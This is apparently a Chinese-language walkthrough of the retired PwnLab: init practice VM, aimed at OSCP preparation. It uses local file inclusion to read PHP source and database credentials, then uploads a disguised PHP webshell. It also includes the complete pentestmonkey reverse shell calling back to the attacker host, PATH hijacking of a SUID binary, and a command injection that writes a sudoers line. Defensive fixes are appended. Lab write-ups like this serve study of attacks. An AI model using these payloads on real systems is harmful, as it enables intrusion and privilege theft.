Day21 PwnLab init靶场WP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
官网打开或链接地址下载虚拟镜像:

PwnLab是古早的退役机器,通过这个机器的练习,可以认识OSCP入门的基本难度。
信息收集
# 靶机地址
172.168.169.143
# Kali攻击机地址
172.168.169.141扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 172.168.169.143 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.143
sudo nmap --script=vuln -p$ports -Pn 172.168.169.143扫描结果如下:
┌──(kali㉿kali)-[~/Desktop]
└─$ echo $ports
80,111,3306,46298
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.143
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:33 EDT
Nmap scan report for 172.168.169.143
Host is up (0.0019s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 46298/tcp status
| 100024 1 47125/udp status
| 100024 1 56014/udp6 status
|_ 100024 1 59462/tcp6 status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 44
| Capabilities flags: 63487
| Some Capabilities: DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, FoundRows, Support41Auth, Speaks41ProtocolOld, LongPassword, ODBCClient, SupportsTransactions, SupportsCompression, InteractiveClient, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: r"OEN9pLgCWm>-c0`vRt
|_ Auth Plugin Name: mysql_native_password
46298/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:D8:39:9C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.36 seconds
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.143
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:34 EDT
Nmap scan report for 172.168.169.143
Host is up (0.00098s latency).
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-cookie-flags:
| /login.php:
| PHPSESSID:
|_ httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.143
| Found the following possible CSRF vulnerabilities:
|
| Path: http://172.168.169.143:80/?page=login
| Form id: user
|_ Form action:
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
| /login.php: Possible admin folder
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
111/tcp open rpcbind
3306/tcp open mysql
46298/tcp open unknown
MAC Address: 00:0C:29:D8:39:9C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 321.76 secondsNmap扫描发现了用户名是user,还有两个子目录/images/和/upload/,80端口打开是一个网页,提示需要登录,尝试弱密码和sql万能密码都无法登录。



发现主页的链接似乎是有文件包含。
http://172.168.169.143/?page=php://filter/read=convert.base64-encode/resource=login
解码这串base64得到
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
发现调用了config.php用同样的方法查看这个文件。得到用户名和密码root/H4u%QJ_H99,尝试登录,发现登录失败。

config的源码
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>index的源码
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>同样的方法查看upload的源码
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>Mysql登录获得用户名
回到一开始的Nmap扫描结果发现3306端口是打开的,也就是mysql服务,刚刚config.php的密码也似乎是mysql的密码,不是登录密码。试一下:
mysql -uroot -h 172.168.169.143 -p --ssl

mysql --skip-ssl -u root -p -h 192.168.107.29
设置跳过加密验证或使用数据库连接软件连接成功


查看用户名列表,发现3个用户名和密码,解码base64得到在登录界面可以输入的密码。
| user | pass | 解 |
|---|---|---|
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy |
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I |
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo |
输入任意组合密码即可登录。

文件上传
上传一个测试文件,发现上传后的文件存放在upload下面。



使用Burp抓包修改上传的请求,从之前的upload.php源码看,只能上传图片文件,就暂时不修改文件名,只测试是否有恶意内容检测,显示上传成功。

POST /?page=upload HTTP/1.1
Host: 172.168.169.143
Content-Length: 319
Cache-Control: max-age=0
Origin: http://172.168.169.143
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.168.169.143/?page=upload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0
Connection: keep-alive
------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="file"; filename="pphp.png"
Content-Type: image/png
GIF89a
<?php system($_GET["cmd"]);?>
------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundary1vs6B8Q4tsVShuqH--

利用lang参数来把一句话木马带进来。


反弹Shell
上传一个反弹shell的完整php脚本,然后在lang中请求。
rlwrap nc -lvnp 4777
curl -v --cookie "lang=../upload/c91a703ee9be1019794f2dfe58855fbe.png" http://172.168.169.143/
# 美化
python -c 'import pty;pty.spawn("/bin/bash")'
POST /?page=upload HTTP/1.1
Host: 172.168.169.143
Content-Length: 4354
Cache-Control: max-age=0
Origin: http://172.168.169.143
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.168.169.143/?page=upload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0
Connection: keep-alive
------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="file"; filename="reverse.png"
Content-Type: image/png
GIF89a
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.168.169.141'; // You have changed this
$port = 4777; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundary1vs6B8Q4tsVShuqH--

提权root
路径劫持攻击,kane提权为mike

home文件夹下发现有几个用户名,其中三个正是刚刚mysql中泄露了,猜测终端的用户密码可能和mysql中泄露的密码一样,尝试一下就真的进入了,典型的密码复用问题。

查看密码文件发现,john的用户权限可能更高,因为他的数字是1000,代表他是root之后新建的第一个用户,极有可能是管理员用户。kent用户下面没有特别的文件,kane用户文件夹下有个可执行文件,但是执行提示没找到mike文件夹下的msg.txt文件。Mike用户的密码不是mysql中的那个。
如果是官方靶机,这里就有第一个flag。

而且这个msgmike文件是mike用户给我们的,不是kane用户建立的,具有SUID权限。执行的结果发现:
$ /home/kane/msgmike
cat: /home/mike/msg.txt: No such file or directory- 运行
msgmike显示错误:尝试调用cat读取/home/mike/msg.txt - 关键发现:程序使用相对路径调用系统命令
cat,而不是绝对路径”/bin/cat”
思路就是看一下路径劫持提权的相关方法,让mgsmike文件以为cat是我们设置的”cat”而不是系统中的 /bin/cat,巧妙的用msgmike文件执行”cat”的提权命令,提权为mike后再看下一步。
-
创建恶意替代文件
echo '/bin/sh' > cat chmod 777 cat- 创建名为
cat的文件,内容为/bin/sh(启动shell) - 赋予完全权限(任何用户可执行)
- 创建名为
-
劫持PATH环境变量
export PATH=./:$PATH- 将当前目录
.添加到PATH变量最前面 - 优先级规则:系统会优先在当前目录查找可执行文件
- 将当前目录
-
执行SetUID程序
./msgmike- 运行拥有SetUID权限的
msgmike程序(属主为mike) - 当程序尝试执行
cat命令时: - 先在当前目录(./)查找 → 找到恶意
cat - 执行
/bin/sh→ 开启新shell - msg.txt找不到就找不到了,都提权成功了,管他找不找得到
- 运行拥有SetUID权限的
-
权限升级
$ id uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)- 新shell以程序所有者(mike)的身份运行
- 成功从kane提权至mike用户

程序逻辑漏洞,Mike提权为root

mike文件夹下发现一个可执行文件,输入什么输出什么,用strings看一下内容,猜测文件的逻辑是输入的内容存为变量再输出。

但是看文件的逻辑是,获取键入的字符,但是只echo了第一行到/root/messeges.txt中,后续的内容应该是会调用system这个逻辑。所以多输入用分号代表分行,就能输入第二行的提权命令了。



知识点补充
🧠 技术原理详解
1. SetUID程序特性
// msgmike 代码模拟
#include <stdlib.h>
int main() {
system("cat /home/mike/msg.txt");
}msgmike拥有SetUID位:-rwsr-x---- 执行时获得文件所有者(mike)的权限
2. Shell命令解析机制
当程序调用system("cat ...")时:
/bin/sh -c "cat ..."- Shell按照
PATH顺序查找可执行文件 - PATH顺序:
./>/usr/bin>/bin
3. 环境变量攻击链
graph TD
A[SetUID程序 msgmike] -->|以mike权限运行system| B[调用系统命令 'cat']
B --> C{Shell 查找 cat 命令}
C -->|PATH 搜索顺序| D[检查当前目录 .]
D -->|找到恶意 cat| E[执行 ./cat]
E -->|内容为 '/bin/sh'| F[启动 shell 进程]
F -->|继承 mike 权限| G[获得 mike 权限的 shell]
C -->|PATH 搜索顺序| H[检查 /usr/bin]
H -->|正常 cat| I[执行系统 cat]
classDef red fill:#f9d5d5,stroke:#b85450;
classDef green fill:#d5f9d5,stroke:#50b854;
class A,B,C,E,F,G red;
class H,I green;
style C stroke:#333,stroke-width:2px;
⚠️ 必要条件
- SetUID程序:必须存在属主权限更高的可执行文件
- 动态命令调用:程序使用相对路径调用系统命令
- 文件系统权限:攻击者需有目录写入权限
- PATH变量可修改:环境变量未被锁定
🛡️ 防御措施
-
编码规范
// 使用绝对路径代替相对路径 system("/bin/cat /home/mike/msg.txt"); -
降低权限
setuid(getuid()); // 执行外部命令前放弃特权 -
锁定环境
# 设置安全PATH export PATH=/usr/bin:/bin -
文件系统加固
chmod g-s /home/kane # 移除SetGID位 chattr +i msgmike # 锁定文件
程序逻辑分析与还原
🔍 关键字符串线索
Message for root:→ 程序提示用户输入/bin/echo %s >> /root/messages.txt→ 核心命令模板fgets,asprintf,system→ 重要函数调用
🧩 程序逻辑还原
#include <stdio.h>
#include <stdlib.h>
int main() {
// 1. 输出提示信息
printf("Message for root:");
// 2. 读取用户输入
char input[256];
fgets(input, sizeof(input), stdin);
// 3. 格式化系统命令
char *command = NULL;
asprintf(&command, "/bin/echo %s >> /root/messages.txt", input);
// 4. 执行系统命令
system(command);
// 5. 清理内存
free(command);
return 0;
}⚡️ 漏洞点与攻击面分析
-
命令注入漏洞 (Command Injection)
# 利用方式示例 $ ./msg2root Message for root:; whoami >> /root/exploit.txt;- 分号
;允许添加额外命令 - 恶意命令以root权限执行
- 分号
-
格式化字符串漏洞 (Format String Vulnerability)
asprintf(&command, "/bin/echo %s >> ...", input);- 无过滤的用户输入直接用于格式化字符串
- 可能触发内存泄露或任意写入
-
路径依赖问题
- 硬编码使用
/bin/echo而非/usr/bin/echo - 环境变量PATH可被劫持
- 硬编码使用
🛠️ 实际攻击场景演示
场景1:命令注入获取root shell
$ ./msg2root
Message for root:; /bin/sh; #
# 实际执行命令
/bin/echo ; /bin/sh; # >> /root/messages.txt- 注入命令
/bin/sh启动shell #后的内容被注释,避免语法错误- 新shell继承程序的root权限
场景2:写入敏感文件
$ ./msg2root
Message for root:; echo "kane ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; #
# 实际效果
为kane添加无密码sudo权限🚫 安全漏洞修复建议
修复后代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
printf("Message for root:");
// 安全的输入读取
char input[256];
if (!fgets(input, sizeof(input), stdin)) {
exit(1);
}
// 移除换行符防止注入
for (char *p = input; *p; p++) {
if (*p == '\n') *p = '\0';
}
// 严格验证输入
for (char *c = input; *c; c++) {
if (*c == ';' || *c == '|' || *c == '&') {
fprintf(stderr, "Illegal character: %c\n", *c);
exit(1);
}
}
// 使用文件IO代替系统命令
FILE *fp = fopen("/root/messages.txt", "a");
if (fp) {
fprintf(fp, "%s\n", input);
fclose(fp);
}
return 0;
}关键修复措施
-
移除命令注入风险
- 禁用
system() - 使用文件IO直接写入
- 禁用
-
输入过滤
// 禁止危险字符 if (strchr(input, ';') || strchr(input, '|') || ...) -
权限最小化
// 执行前放弃root权限 setuid(getuid()); -
日志审计
- 记录所有操作
📁 文件权限关键点
-
程序必须具有SetUID权限且属于root
ls -l msg2root -rwsr-xr-x 1 root root 16784 Jul 24 10:23 msg2root -
/root/messages.txt需要:chown root:root /root/messages.txt chmod 644 /root/messages.txt
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚